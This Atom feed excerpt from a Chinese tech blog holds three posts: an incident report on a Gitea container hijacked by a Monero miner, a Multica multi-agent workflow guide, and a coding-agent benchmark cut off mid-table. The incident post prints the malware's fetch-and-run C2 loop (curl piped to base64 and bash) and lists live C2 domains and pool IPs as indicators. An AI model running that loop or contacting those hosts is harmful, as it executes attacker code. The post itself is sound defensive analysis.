<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>慕雪的寒舍</title>
  
  <subtitle>雪下了一夜</subtitle>
  <link href="https://blog.musnow.top/atom.xml" rel="self"/>
  
  <link href="https://blog.musnow.top/"/>
  <updated>2026-08-10T21:38:09.000Z</updated>
  <id>https://blog.musnow.top/</id>
  
  <author>
    <name>慕雪年华</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>【Linux】腾讯云服务器被攻击后，我是怎么排查挖矿木马的</title>
    <link href="https://blog.musnow.top/posts/5822093187/"/>
    <id>https://blog.musnow.top/posts/5822093187/</id>
    <published>2026-08-10T21:38:09.000Z</published>
    <updated>2026-08-10T21:38:09.000Z</updated>
    
    <content type="html"><![CDATA[<p>腾讯云云镜突然报挖矿，我顺着 Gitea 容器把这次攻击链和处置过程梳理了一遍。</p><span id="more"></span><p>8月11日凌晨，我收到了腾讯云安全（云镜）的告警：服务器上出现了疑似挖矿软件，还访问了一个恶意域名，进程名字甚至伪装成了 <code>systemd-resolved</code>。</p><p>第一反应当然是：<strong>我的服务器是不是被打穿了？</strong></p><p>当时的我是真的有点慌，毕竟这台机器上跑着 Gitea，还有不少自己的仓库和配置。好在顺着进程、容器和文件挂载关系查下来，暂时没有发现宿主机被持久化或者逃逸的证据，实际受影响的范围主要是 Gitea 容器。</p><p>不过，容器没逃逸不等于这件事不严重。容器里能读到的仓库数据、挂载目录和密钥，依然可能已经暴露，所以该换的密钥一个都不能省。</p><h2 id="1-攻击链是怎么走进来的">1. 攻击链是怎么走进来的</h2><h3 id="1-1-Gitea-成了入口">1.1. Gitea 成了入口</h3><p>这次使用的是比较老的 Gitea 1.21.11，而且当时还开放了用户注册，Web 端口也直接暴露在公网。</p><p>从 Gitea 的记录里可以看到，攻击者在 8 月 2 日和 8 月 9 日分批注册了几个账号，随后创建了一个看起来像随机字符串的仓库，并往仓库里放入了恶意 Git hook。</p><p>这个 hook 会在仓库操作后被触发，随后从远端拉取脚本执行。它运行在容器内的 <code>git</code> 用户下，UID 是 1002。也就是说，攻击者首先拿到的是 Gitea 容器里的代码执行能力，而不是直接拿到了宿主机的 root 权限。</p><p>这里最容易误判：入口是 Gitea，落点是容器，二者不能混为一谈。但如果容器挂载了宿主机目录，或者里面放着 SSH 私钥和 API Key，容器权限不高也足够让人难受了。</p><h3 id="1-2-木马不是一个文件，而是一整套东西">1.2. 木马不是一个文件，而是一整套东西</h3><p>攻击者放进去的不是单独一个挖矿程序，而是一套带下载、挖矿和看门狗功能的文件：</p><ul><li><code>unicorn</code>：约 8.3 MB 的静态 ELF 文件，负责挖门罗币（XMR）。</li><li><code>config.json</code>：XMRig 配置文件，里面写了多个矿池地址。</li><li><code>jobs</code>：每隔 180 秒从 C2 拉取脚本，经过 Base64 解码后交给 shell 执行。</li><li><code>CRON</code>：一个 musl ELF 调度组件。</li><li><code>supervisord</code>：加壳后的看门狗，用来拉起被杀掉的进程。</li><li><code>1786*</code>：一批用时间戳命名的心跳标记文件，内容基本只是 <code>TEST</code>。</li><li><code>/tmp/runc-process*</code>：伪装成 runc 的临时文件，云镜每天都能检出，但文件随后会自删除。</li></ul><p><code>jobs</code> 的逻辑大概是下面这样，真实地址我就不放在示例里了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line">  curl -s <span class="string">&quot;http://C2地址:端口/ok&quot;</span> | <span class="built_in">base64</span> -d | bash &amp;</span><br><span class="line">  <span class="built_in">wait</span> $!</span><br><span class="line">  <span class="built_in">sleep</span> 180</span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>这就解释了为什么我前面杀掉进程之后，它过一会儿又会回来：挖矿进程负责赚钱，看门狗和 C2 脚本负责让它重新活过来。</p><h3 id="1-3-OOM-让问题看起来像普通的服务故障">1.3. OOM 让问题看起来像普通的服务故障</h3><p>8 月 7 日到 9 日，<code>unicorn</code> 反复把内存吃满，单次占用大约 1.8 GB，最后被内核的 OOM Killer 杀掉。Gitea 日志里也反复出现 <code>oom-killer</code>。</p><p>这类现象很容易被当成“服务器内存太小”或者“容器配置有问题”。但如果一个陌生进程被杀后又自己回来，就应该马上去查它的父进程、启动项、容器挂载和出站连接，而不是只给服务器加内存。</p><h2 id="2-我是怎么确认影响范围的">2. 我是怎么确认影响范围的</h2><h3 id="2-1-先看内核日志">2.1. 先看内核日志</h3><p>内核日志里留下了很直接的证据：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Aug 08 17:58:52 kernel: task_memcg=/system.slice/docker-b4fe18cdf...scope, task=unicorn, pid=1861040, uid=1002</span><br><span class="line">Aug 08 17:58:52 kernel: Out of memory: Killed process 1861040 (unicorn) total-vm:2435264kB, anon-rss:1800696kB</span><br></pre></td></tr></table></figure><p>这里的 <code>task_memcg</code> 明确指向 Docker cgroup，进程 UID 也对应容器内的 <code>git</code> 用户。它说明挖矿程序确实在容器里运行，但不能单凭这一条就断言宿主机绝对安全，所以后面还要继续查持久化和逃逸路径。</p><h3 id="2-2-配置文件把受害者信息也暴露了">2.2. 配置文件把受害者信息也暴露了</h3><p>XMRig 配置中的 <code>rig-id</code> 直接写出了 CPU 型号、核心数、内存大小、Docker 环境以及容器内网 IP。恶意程序为了方便矿池区分机器，顺手把受害者环境信息也打包带走了。</p><p>这次还发现容器里能读取到 Gitea 数据和挂载的 <code>.ssh</code> 目录，因此即使没有宿主机逃逸，也必须把相关私钥、用户密码、访问令牌和 API Key 按照已经泄露来处理。</p><h3 id="2-3-云镜告警和文件指纹能互相对上">2.3. 云镜告警和文件指纹能互相对上</h3><p>云镜检出的恶意文件是 <code>/data/gitea/home/.claude/unicorn</code>，MD5 为 <code>8f4fff0ded94f1141768220906abfbb8</code>，和本地取证样本一致。除此之外，还反复检出了伪装成 runc 的 <code>/tmp/runc-process*</code> 文件。</p><p>下面是这次样本里整理出的 IOC。它们只用于记录和排查，别因为好奇直接访问这些地址：</p><table><thead><tr><th>类型</th><th>值</th></tr></thead><tbody><tr><td>恶意文件</td><td><code>/data/gitea/home/.claude/unicorn</code></td></tr><tr><td>文件 MD5</td><td><code>8f4fff0ded94f1141768220906abfbb8</code>、<code>2f6d59103f362481400a7658e47b8b5c</code></td></tr><tr><td>C2 域名</td><td><code>joker.aec944b68370194a50.link:6556</code>、<code>fokoffkont.anondns.net</code></td></tr><tr><td>矿池地址</td><td><code>95.85.237.226:53535</code>、<code>193.41.68.194:53535</code>、<code>95.85.237.149:53535</code>、<code>2.26.99.68:53535</code></td></tr><tr><td>恶意 Gitea 账号</td><td><code>ub081a3e2</code>、<code>uc59ad45a</code>、<code>ue00b9b6afd0c</code></td></tr></tbody></table><h2 id="3-这次是怎么处置的">3. 这次是怎么处置的</h2><h3 id="3-1-先取证，再清理">3.1. 先取证，再清理</h3><p>我没有一上来就把文件全部删掉，而是先把 <code>unicorn</code>、<code>config.json</code>、<code>jobs</code>、<code>CRON</code> 和 <code>supervisord</code> 复制到隔离的取证目录，保留样本和哈希，方便后面确认攻击链。</p><p>同时把 Gitea 数据和配置做了完整备份。备份包大约 640 MB，包含 15 个仓库、Gitea 数据库和配置，校验后确认里面没有混入木马文件。</p><p>确认备份可用后，才删除了 Gitea 容器以及挂载目录里的 <code>.claude</code>、<code>supervisord</code> 和时间戳标记文件。8 月 11 日 00:24 删除容器后，挖矿进程终于停止，没有再被 <code>restart:always</code> 拉起来。</p><h3 id="3-2-再确认宿主机有没有留下后门">3.2. 再确认宿主机有没有留下后门</h3><p>清理完容器后，我又做了一遍全盘和运行状态复核：</p><ul><li>磁盘里没有发现木马残留，取证副本除外。</li><li>当前没有挖矿进程，也没有异常出站连接和新增监听端口。</li><li><code>cron</code>、systemd 服务和 SSH 相关位置没有发现持久化痕迹。</li><li>宿主机的 <code>systemd-resolved</code> 二进制和 dpkg 校验结果一致，之前看到的同名进程只是伪装，并不是系统文件被替换。</li><li>没有发现异常用户、新系统服务或异常计划任务。</li><li>Docker 容器没有挂载 <code>docker.sock</code>，暂时没有发现从容器逃逸到宿主机的路径。</li></ul><p>所以这次可以确认：当前发现的受影响范围主要是 Gitea 容器，宿主机暂时没有沦陷证据。但“暂时没有证据”不等于“可以不用换密钥”，这两个结论要分开看。</p><h2 id="4-接下来必须补上的安全措施">4. 接下来必须补上的安全措施</h2><h3 id="4-1-凭据全部按泄露处理">4.1. 凭据全部按泄露处理</h3><p>容器进程能读到的私钥和配置都不能再继续使用：</p><ul><li>重新生成并替换 <code>git</code> 用户的 SSH 私钥。</li><li>立即重置配置文件中的 DeepSeek API Key，正文不展示任何真实密钥。</li><li>Ubuntu 的 SSH 密钥如果有任何一把无法确认来源，就清空 <code>authorized_keys</code> 后重新添加。</li><li>重建 Gitea 时，所有用户密码、访问令牌和 LFS 密钥全部重置。</li><li>恢复仓库前删除攻击者账号和对应仓库，只恢复确认过的个人数据。</li></ul><h3 id="4-2-把公网暴露面收回来">4.2. 把公网暴露面收回来</h3><p>重建 Gitea 时应该直接使用最新版镜像，关闭开放注册，设置强密码，并且不要再把 <code>.ssh</code> 目录直接挂进容器。Gitea 的 SSH 服务只绑定本机，外部访问统一走反向代理。</p><p>腾讯云安全组只保留 22、80 和 443 等确实需要的端口，其他服务先绑定到 <code>127.0.0.1</code>，再通过 OpenResty 反代出去。1Panel 管理端口也要加本机 IP 白名单，SSH 再配上 fail2ban。</p><p>这里还有一个很容易忽略的坑：Docker 发布的端口可能绕过主机上的 ufw 规则，所以安全组必须作为最后一道防线，不能只盯着服务器内部的防火墙。</p><h3 id="4-3-把监控补起来">4.3. 把监控补起来</h3><p>后面需要给 CPU 长时间满载、新增监听端口和异常出站连接配置告警，并把这次的 IOC 提交到腾讯云工单或威胁情报平台。</p><p>另外，<code>restart:always</code> 平时确实很方便，但发生安全事件时也会让恶意进程在重启后自动复活。以后处理容器异常时，不能只执行“重启一下试试”，要连同挂载目录、启动策略和宿主机进程一起检查。</p><h2 id="5-The-end">5. The end</h2><p>这次最吓人的不是挖矿本身，而是我以前把“容器”和“安全边界”想得太简单了。容器没有逃逸，确实帮我把损失限制在了 Gitea 服务里；但只要里面放了 SSH 私钥、API Key 和仓库数据，攻击者照样可以顺着这些东西继续往外摸。</p><p>现在回头看，开放注册、老版本 Gitea、公网暴露端口、挂载 <code>.ssh</code>，每一项单独看都像是“先这样跑着”，组合起来就给攻击者铺好了路。</p><p>这次算是把该补的课一次性补上了：先取证，再清理；先换密钥，再恢复服务；最后把不该暴露在公网的端口全部收回来。服务器能跑起来不代表安全，能经得起一次完整排查才算真的搞定。😥</p>]]></content>
    
    
    <summary type="html">记录一次Gitea容器被入侵并植入挖矿木马后的排查、清理和加固过程</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Linux" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Linux/"/>
    
    
    <category term="Linux" scheme="https://blog.musnow.top/tags/Linux/"/>
    
    <category term="Docker" scheme="https://blog.musnow.top/tags/Docker/"/>
    
  </entry>
  
  <entry>
    <title>【Agent】Multica使用心得</title>
    <link href="https://blog.musnow.top/posts/2410287049/"/>
    <id>https://blog.musnow.top/posts/2410287049/</id>
    <published>2026-08-09T22:01:48.000Z</published>
    <updated>2026-08-09T22:10:12.000Z</updated>
    
    <content type="html"><![CDATA[<p>最近在进行全栈开发，之前都是用 git worktree 在本地用 codex 进行处理的，事情完成以后就只有一个对话链接在那里，不太方便后续查信息，而且指不定哪天就被删掉了。</p><p>之前就了解到了 <a href="https://multica.ai/download">multica</a> 这个“Agent 看板”工具，于是就开始使用了一段时间。在这里分享几个简单的使用心得吧。截图就懒得截了，因为有私密信息，得打特别多的码。</p><h2 id="简介">简介</h2><p>首先呢，简单介绍一下这玩意，这玩意就是一个看板，创建 todo 之后，可以指派给某个人，也可以指派给某个连上了 multica 的 agent。multica 本身没有 agent loop，他的 agent 是通过在你的电脑上安装的一个 deamon，和 multica 的 server 交互的，在 server 的看板上，这些 deamon 叫做“runtime”，一个 runtime 等价于一台链接上了 mutlica 的主机。在 runtime 之上，我们需要创建自己的 Agent，并给这些 Agent 绑定导入的 skills 和 system prompt，这样 Agent 就可以用你指定的工具，在你指定的电脑上执行任务了。</p><p>在这个机制下，multica 可以用任何你想用的 agent 工具，且复用你本地 codex/claude code 的个人订阅（配置第三方 endpoint 也能用的，和你本地人工启动 codex 和 cc 没区别），来完成工作。即便是在同一个 runtime 上，每个 Agent 也可以使用不同的工具，不同的模型，来在特定的场景 boost 模型的能力（比如 claude 擅长 plan，gpt 擅长干）</p><p>最基本的使用方式，就是创建一个任务，然后指派给一个你创建好的 agent，他就会收到这个任务（在 multica 上叫做 issue）的信息，在你本地 multica 创建出来的一个工作目录里面开始干活。</p><p>在 issue 下的评论区 @ 另外一个 Agent，另外一个 Agent 也能收到这个 issue 的所有信息（包括描述和下面已有的评论），开始干活。</p><h2 id="agent-协作">agent 协作</h2><p>接下来说重点，如何让 multica 上的 Agent 能够相互协作。</p><p>核心原理非常简单，让 Agent A 在需要另外一个 Agent B 协助的时候，在 issue 下面发布评论，并 mention 另外一个 Agent 即可！</p><blockquote><p>mutlica 的 mention 工具对 Agent 的注入不够完善，有可能 Agent 不知道如何 @ 另外一个 Agent，需要在 Agent 的 prompt 里面写明确“使用mention工具交付任务给指定Agent：xxx”</p></blockquote><p>以全栈开发为例，直接按研发的流程来创建 Agent 就行了，分为需求文档、技术方案、代码编写、代码review、测试、准出这几个流程。</p><ul><li>用户创建需求，写好需求简述</li><li>需求文档编写 Agent 根据需求编写需求文档，并通过 issue 评论的方式交付需求文档</li><li>需求文档这一步可以加一个人工卡控流程，让人工确认 Agent 对需求的理解没有问题，避免需求理解歪了，后面做得再多也没有意义</li><li>需求确认后，技术方案编写 Agent 根据 PRD 和项目背景编写技术方案，再通过 issue 评论提交给研发评审</li><li>技术方案评审不通过就打回技术方案编写 Agent 修改，通过后再 mention 代码编写 Agent。不能直接拿 PRD 当 plan 开干</li><li>代码编写 Agent 搞定后，交付代码 CR Agent，先对问题进行AICR（code review）</li><li>AICR 完毕后，再次 mention 实现 Agent，要求其根据CR结果修改问题</li><li>实现 Agent 根据问题修复完毕后，要求 CR Agent 对问题进行二次确认</li><li>为了避免两个 Agent 进入<strong>互怼死循环</strong>，请在代码编写 Agent 的 prompt 里面写清楚允许的交互轮次，建议只允许 1 轮交互，如果在第一次修复后还是被 CR Agent 指出了问题，代码编写 Agent需要<strong>中断流程</strong>要求人工介入。</li><li>CR Agent 实现代码准出后，交付任务给测试 Agent，进行测试（注意这里的测试是系统测试，如果是单测让代码编写 Agent 自己干了，不然他写的代码肯定有问题）。这要看项目的可测性能力了，如果是前后端项目，可以直接用 codex 来干，codex 的浏览器自动化能力太超模了。如果是移动端、服务端项目，就麻烦很多，得自己看看如何让 Agent 进行测试。</li><li>测试验收失败，打回代码实现 Agent，修复问题。如果有 blocker 问题，建议测试验收失败 Agent 要求人工介入。</li><li>测试验收成功，直接交付发布 Agent 进行发布（一般是提交代码 PR）</li><li>同样的，测试打回也要加上上限，最好是第二次还被打回就直接要求人工介入</li></ul><p>到这里，全流程结束，很流畅的搞定喽。</p><p>让 ai 给这个链路画了个流程图，方便理解。</p><pre><code class="highlight mermaid">flowchart TD    A[&quot;用户创建需求&lt;br/&gt;填写需求简述&quot;] --&gt; B[&quot;需求文档 Agent&lt;br/&gt;编写完整需求文档&quot;]    B --&gt; C[&quot;通过 Issue 评论&lt;br/&gt;交付需求文档&quot;]    C --&gt; D&#123;&quot;启用需求人工卡控？&quot;&#125;    D -- &quot;启用&quot; --&gt; E&#123;&quot;需求理解正确？&quot;&#125;    E -- &quot;否&quot; --&gt; B    E -- &quot;是&quot; --&gt; F    D -- &quot;不启用&quot; --&gt; F[&quot;技术方案 Agent&lt;br/&gt;根据 PRD 编写技术方案&quot;]    F --&gt; G[&quot;通过 Issue 评论&lt;br/&gt;提交研发评审&quot;]    G --&gt; H&#123;&quot;技术方案评审通过？&quot;&#125;    H -- &quot;否&quot; --&gt; F    H -- &quot;是&quot; --&gt; I[&quot;代码实现 Agent&lt;br/&gt;编码并完成单元测试&quot;]    I --&gt; J[&quot;Issue 评论&lt;br/&gt;交付 CR Agent&quot;]    J --&gt; K[&quot;CR Agent&lt;br/&gt;第一次 AI CR&quot;]    K --&gt; L&#123;&quot;代码准出？&quot;&#125;    L -- &quot;是&quot; --&gt; Q    L -- &quot;否&quot; --&gt; M[&quot;Issue 评论 mention 实现 Agent&lt;br/&gt;提交 CR 问题&quot;]    M --&gt; N[&quot;实现 Agent&lt;br/&gt;仅允许 1 次修复&quot;]    N --&gt; O[&quot;CR Agent&lt;br/&gt;二次确认&quot;]    O --&gt; P&#123;&quot;二次确认准出？&quot;&#125;    P -- &quot;是&quot; --&gt; Q[&quot;测试 Agent&lt;br/&gt;执行系统测试&quot;]    P -- &quot;否&quot; --&gt; X[&quot;中断自动流程&lt;br/&gt;要求人工介入&quot;]    Q --&gt; R&#123;&quot;测试通过？&quot;&#125;    R -- &quot;是&quot; --&gt; S[&quot;发布 Agent&lt;br/&gt;提交代码并创建 PR&quot;]    S --&gt; T[&quot;流程完成&quot;]    R -- &quot;否&quot; --&gt; U&#123;&quot;存在 Blocker？&quot;&#125;    U -- &quot;是&quot; --&gt; X    U -- &quot;否&quot; --&gt; V[&quot;实现 Agent&lt;br/&gt;修复测试问题&quot;]    V --&gt; Q    classDef human fill:#fff3cd,stroke:#b8860b,color:#222;    classDef agent fill:#e8f1ff,stroke:#4677b8,color:#222;    classDef decision fill:#f5e8ff,stroke:#8250a8,color:#222;    classDef stop fill:#ffe8e8,stroke:#b84545,color:#222;    classDef success fill:#e6f6ea,stroke:#38864b,color:#222;    class A,E,H human;    class B,F,G,I,J,K,M,N,O,Q,S,V agent;    class D,L,P,R,U decision;    class X stop;    class T success;</code></pre><p>这里特意把技术方案和研发评审单独拎了出来。PRD 只说明要做什么，不能直接拿它当 plan 开干，技术方案评审通过了再让实现 Agent 动手。</p><h2 id="几点注意事项">几点注意事项</h2><ul><li>【重点】一定要给每个 Agent 都规定好 blocker 策略，避免 Agent 进入死循环。这个非常非常重要！特别是测试环节，如果在测试进行环境准备的时候遇到了无法解决的环境问题（比如 playwright 连不上 chrome 之类的问题），要求 Agent 重试 2 次就 abort，不然 Agent 可能会和测试工具的环境问题进行死磕到底……</li><li>如果是前后端项目，需要要求 Agent 每次启动的时候都要找一个不同的数据目录，不同的端口启动，避免并发任务的时候相互干扰。至于开发目录不用担心，mutlica 本身的 workspace 就是隔离的，除非 AI 犯病去看别的目录在干嘛，不然不会相互干扰。</li><li>Agent 给定的背景信息很重要，对于一个项目而言，最好是给每个 Agent 都注入这个项目的特定知识，不然肯定是会乱搞的。</li><li>把 rm 命令，数据库 drop delete 权限都给 ai 下掉，不然给你拉坨大的……</li></ul><p>注意确认全局的 claude 命令和 codex 命令指向的是不是 cli，因为 claude desktop 和 codex desktop 都会内嵌一个一模一样的命令，如果是 desktop 内嵌的那个命令是没法用的</p><h2 id="欢迎交流">欢迎交流</h2><p>感觉这样的操作方式会比用 codex 里面写一个 skills 来编排流程更好。而且后续能有清晰的项目归档，方便回溯。流程定义也非常简单，直接在 Agent 的 prompt 的末尾告诉他，他的下家 Agent 的名字就行了。不需要在 skills 里面还维护一个状态图。</p><p>当然还有另外一个方案就是 codex 的 goal，对于前后端项目而言，一个大 goal 下去 sol 基本上啥都能给你写出来，顶多是前端样式很烂需要微调，功能不会有啥问题的。</p><p>有了 multica 之后越来越像老板了，只不过老板 @ 的是真人，我 @ 的是 AI……</p>]]></content>
    
    
    <summary type="html">使用 Multica 的 Issue 评论和 mention 机制串联需求、开发、Code Review、系统测试与发布 Agent，并用交互上限和 blocker 策略避免流程死循环。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Agent智能体开发" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Agent%E6%99%BA%E8%83%BD%E4%BD%93%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="Agent开发" scheme="https://blog.musnow.top/tags/Agent%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>【AI】叙界S3备份需求，多Agent赛马</title>
    <link href="https://blog.musnow.top/posts/1731962380/"/>
    <id>https://blog.musnow.top/posts/1731962380/</id>
    <published>2026-08-01T23:32:30.000Z</published>
    <updated>2026-08-02T02:08:21.000Z</updated>
    
    <content type="html"><![CDATA[<p>同一份叙界S3备份需求，拉一群编程Agent现场赛马。</p><span id="more"></span><p>欢迎来到叙界赛博斗蛐蛐系列，本系列目录如下：</p><ol class="series-items"><li><a href="/posts/1731962380/" title="【AI】叙界S3备份需求，多Agent赛马">【AI】叙界S3备份需求，多Agent赛马</a></li></ol><h2 id="1-起因">1. 起因</h2><p>现在各种编程Agent越出越多，模型上下文也是从200K一路卷到1M。平时拿它们修个小Bug，大家看起来都挺像那么回事；但任务一复杂，工具调用、需求理解、数据库迁移、前端交互和测试全搅在一起，差距就出来了。</p><p>所以这次不看宣传页，直接拿<a href="https://github.com/musnows/Scriverse">叙界 Scriverse</a>的S3备份需求来跑一轮赛马。</p><p>为了尽量公平，所有Agent使用相同的git worktree skill、相同的任务prompt和同一套人工验收用例。模型能不能主动发现问题、会不会被无关skill带偏、最后交出来的代码到底能不能用，都算测试的一部分。</p><h2 id="2-参赛选手">2. 参赛选手</h2><table><thead><tr><th>参赛选手</th><th>模型 / 模式</th><th>上下文</th><th>软件版本</th></tr></thead><tbody><tr><td>CatPaw</td><td>LongCat-2.0</td><td>1M</td><td>2026.0729.1946</td></tr><tr><td>WorkBuddy</td><td>Hy3</td><td>192K</td><td>5.3.8</td></tr><tr><td>QoderCN IDE，Quest</td><td>Qwen-3.8-Max-Preview</td><td>1M</td><td>1.9.1</td></tr><tr><td>TRAE SOLO</td><td>Seed-2.1-Turbo</td><td>200K</td><td>3.3.83</td></tr><tr><td>TRAE SOLO</td><td>Seed-2.1-Pro</td><td>200K</td><td>3.3.83</td></tr><tr><td>Cursor Agent View</td><td>Grok 4.5 High</td><td>256K</td><td>3.14.7</td></tr><tr><td>Cursor Agent View</td><td>Composer 2.5</td><td>256K</td><td>3.14.7</td></tr><tr><td>Codex</td><td>GPT-5.6 Sol Max</td><td>373K（设置里手动开）</td><td>26.727.51351</td></tr><tr><td>Codex</td><td>GPT-5.6 Luna Max</td><td>373K</td><td>26.727.51351</td></tr><tr><td>Claude Code</td><td>DeepSeek V4 Flash 0731</td><td>1M</td><td>2.1.220</td></tr><tr><td>Claude Code</td><td>DeepSeek V4 Pro Preview</td><td>1M</td><td>2.1.220</td></tr><tr><td>Cursor Agent View</td><td>GLM-5.2</td><td>1M</td><td>3.14.7</td></tr><tr><td>Cursor Agent View</td><td>Kimi K3</td><td>1M</td><td>3.14.7</td></tr></tbody></table><p>还有几个没参赛的：</p><table><thead><tr><th>模型</th><th>原因</th></tr></thead><tbody><tr><td>GLM-5.2</td><td>订阅账号已经出售回血，而且我觉得Pro的5小时额度也跑不完这个任务</td></tr><tr><td>Kimi K3</td><td>199元Plan的5小时额度不足以跑完整个prompt，周额度已经被前面的测试用完了</td></tr><tr><td>MiniMax</td><td>无人在意</td></tr></tbody></table><h2 id="3-测试方式">3. 测试方式</h2><ul><li>先使用相同的skill创建git worktree。很多工具没有自带worktree功能，这样能让每个Agent在独立目录里干活。</li><li>测试前已经确认所有Agent工具都支持读取项目根目录下的<code>AGENTS.md</code>，并关闭记忆功能，避免出现项目知识偏差。</li><li>所有Agent都使用最大思考强度和最大上下文模式，并开启yolo模式。</li><li>测试前没有刻意清空各个Agent工具的skill目录，但也没有安装superpower、front-design之类的编程skill。如果模型在相同prompt下自己跑进毫不相干的skill里，这也属于要展示的bad case。</li></ul><h3 id="3-1-首个prompt">3.1. 首个prompt</h3><p>所有选手使用同一份git worktree skill（<a href="https://github.com/musnows/scriverse-llm-racing/blob/main/data/git-worktree/SKILL.md">链接</a>），然后发送下面这句话：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">使用 git-worktree skills 创建一个 worktree，等待我的下一步指示</span><br></pre></td></tr></table></figure><p>这份skill会要求Agent先询问用户选择基础分支，这也算测试的一部分，看看有没有选手不问就直接开干。</p><h3 id="3-2-任务prompt">3.2. 任务prompt</h3><p>任务基于<a href="https://github.com/musnows/Scriverse">Scriverse</a>的<code>v0.6.6</code>版本，commit为<code>91f9189e5bb34e1bbf6bcaa8442e6a1ac61be5c2</code>。</p><p>不知道会不会有人觉得这个 prompt 还不够详细，我想说的是这已经是算是不写 plan 的情况下非常详细的一个 prompt 了，如果是我要让 sol 来写这个需求，我绝对不会写这么多，只会写一句话……</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">为当前项目加上数据库和图片的 s3 备份能力：</span><br><span class="line"></span><br><span class="line">1. 支持配置多个亚马逊 s3 兼容的配置项，作为同步服务器的目标，支持同时开启多个备份目标，依次同步到对应目标中；</span><br><span class="line">2. 配置项里面需要有子目录的设置能力，同步到给定子目录（没有给定的时候默认桶根目录）下的 /scriverse 子目录中；</span><br><span class="line">3. 把图片上传到 /scriverse/img 子目录中，若图片已经存在则跳过，不存在上传；</span><br><span class="line">4. 数据库备份到 /scriverse/db 子目录中，不进行历史备份覆盖，在 db 文件名中加上时间戳后上传，方便用作后续的快照回滚；</span><br><span class="line">5. 支持选择是否备份图片，不勾选的时候只备份数据库；</span><br><span class="line">6. 支持选择备份定时任务的触发时间和备份留存个数，超过备份留存个数后，删除最老的数据库备份（不清理图片）；</span><br><span class="line">7. 设置入口加到整个系统的设置中，不需要支持选择书籍，只支持备份整个系统的数据；</span><br><span class="line">8. 如果对应 s3 服务请求失败，需要在日志里面完整打印失败的 s3 配置项（ak 和 sk 不打印）和它的请求失败 s3 服务端的返回结果，并toast提示前端，禁止静默失败；</span><br><span class="line"></span><br><span class="line">在任务执行期间必须自行完成决策，禁止咨询用户任何问题。</span><br></pre></td></tr></table></figure><h2 id="4-验收方式">4. 验收方式</h2><h3 id="4-1-测试材料">4.1. 测试材料</h3><p>最终人工验收统一使用同一份演示数据库，公开复现材料已经上传到 <a href="https://github.com/musnows/scriverse-llm-racing">scriverse-llm-racing</a>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/document/scriverse-version-comparison/scriverse-demo-db-with-setting-images-20260802.zip</span><br></pre></td></tr></table></figure><p>测试时统一用跳过登录的命令启动server：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NODE_ENV=development APP_DEV_SKIP_AUTH=<span class="literal">true</span> npm run dev</span><br></pre></td></tr></table></figure><p>七牛云S3测试配置如下，正式使用时换成自己的AK和SK：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">scriverse-test</span><br><span class="line">https://s3.cn-south-1.qiniucs.com/</span><br><span class="line">cn-south-1</span><br><span class="line">access_key_id = 你的AK</span><br><span class="line">secret_access_key = 你的SK</span><br></pre></td></tr></table></figure><h3 id="4-2-打分规则">4.2. 打分规则</h3><p>所有测试用例都可以从首个prompt和<code>AGENTS.md</code>中推断出来。</p><p>功能用例满分200分，<strong>P00用例不通过扣30分，P0用例不通过扣10分，P1用例不通过扣5分，P2用例失败不扣分</strong>。因此最低得分是 30 分。</p><table><thead><tr><th>编号</th><th>优先级</th><th>测试场景</th></tr></thead><tbody><tr><td>TC-01</td><td>P00</td><td>设置页面存在S3配置入口。</td></tr><tr><td>TC-02</td><td>P00</td><td>在系统仍有数据写入时执行数据库备份。下载S3中的备份文件后，数据库必须能够正常打开，刚刚保存的数据完整存在，且不存在数据库损坏、事务数据缺失或外键关系异常。不限制具体的数据库快照实现方式。</td></tr><tr><td>TC-03</td><td>P0</td><td>能够正常新增、修改、启用、停用和保存多个S3配置；前端请求包含系统鉴权、CSRF等必要参数。</td></tr><tr><td>TC-04</td><td>P0</td><td>S3备份作为独立模块接入，不影响作品、章节、图片、AI对话及其他已有功能。</td></tr><tr><td>TC-05</td><td>P0</td><td>指定的旧数据库能够平滑升级；已有数据完整，迁移可重复执行，数据库结构正确。</td></tr><tr><td>TC-06</td><td>P0</td><td>AK/SK通过现有凭证保险库加密处理，不得明文落库；查询配置时不返回已保存的SK，修改其他字段且未填写新SK时仍能保留原凭证。</td></tr><tr><td>TC-07</td><td>P0</td><td>多个启用目标按照配置顺序执行，停用目标不执行。某个目标超时或返回错误时，后续目标仍继续备份；日志记录该目标的非敏感完整配置和服务端结果，前端显示明确Toast。</